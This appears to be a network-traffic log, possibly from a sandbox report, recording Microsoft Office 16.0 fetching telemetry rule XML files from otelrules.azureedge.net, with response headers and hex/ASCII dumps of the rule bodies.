2024-10-08 18:52:22 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.9	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:22 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:22 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:22 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: ca2bab4f-201e-0071-5e14-17ff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185222Z-1657d5bbd48tnj6wmberkg2xy800000005k0000000001ddp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:22 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.9	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:22 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:22 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:22 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 4d8e59a4-701e-0021-64fe-163d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185222Z-1657d5bbd48brl8we3nu8cxwgn00000005m000000000yxnc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:22 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.9	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:22 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:22 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:22 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 4ef38422-401e-000a-160c-174a7b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185222Z-1657d5bbd48sqtlf1huhzuwq70000000050g00000000z2e0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:22 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.9	49836	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:23 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:23 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:23 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 75ef523f-601e-000d-02f2-162618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185223Z-1657d5bbd48brl8we3nu8cxwgn00000005p000000000qar1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:23 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.9	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:23 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:23 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:23 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: a807e5fb-501e-000a-1c6d-190180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185223Z-1657d5bbd48xjgsr3pyv9u71rc00000001d000000000aau3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:23 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.9	49837	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:23 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:23 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:23 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: cad35e9e-b01e-0021-3602-17cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185223Z-1657d5bbd48tnj6wmberkg2xy800000005cg00000000vkbf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:23 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.9	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:23 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:23 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:23 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: 87e265fd-201e-0051-4fe7-167340000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185223Z-1657d5bbd48lknvp09v995n790000000051000000000e4n9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:23 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.9	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:23 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:23 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:23 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 13ca28ed-401e-0035-61aa-1982d8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185223Z-1657d5bbd48gjrh9ymem1nvr1n00000000v0000000005e3q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:23 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.9	49841	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:24 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:24 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:24 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: 5976ea41-c01e-00ad-507e-19a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185224Z-1657d5bbd48xjgsr3pyv9u71rc00000001eg0000000030de x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:24 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.9	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:24 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:24 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:24 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 3e7839e3-701e-0053-5cff-163a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185224Z-1657d5bbd48q6t9vvmrkd293mg000000059g00000000rfm3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:24 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.9	49842	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:24 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:24 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:24 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: dfa7567c-f01e-003f-67de-16d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185224Z-1657d5bbd48wd55zet5pcra0cg00000005cg000000009wnn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:24 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 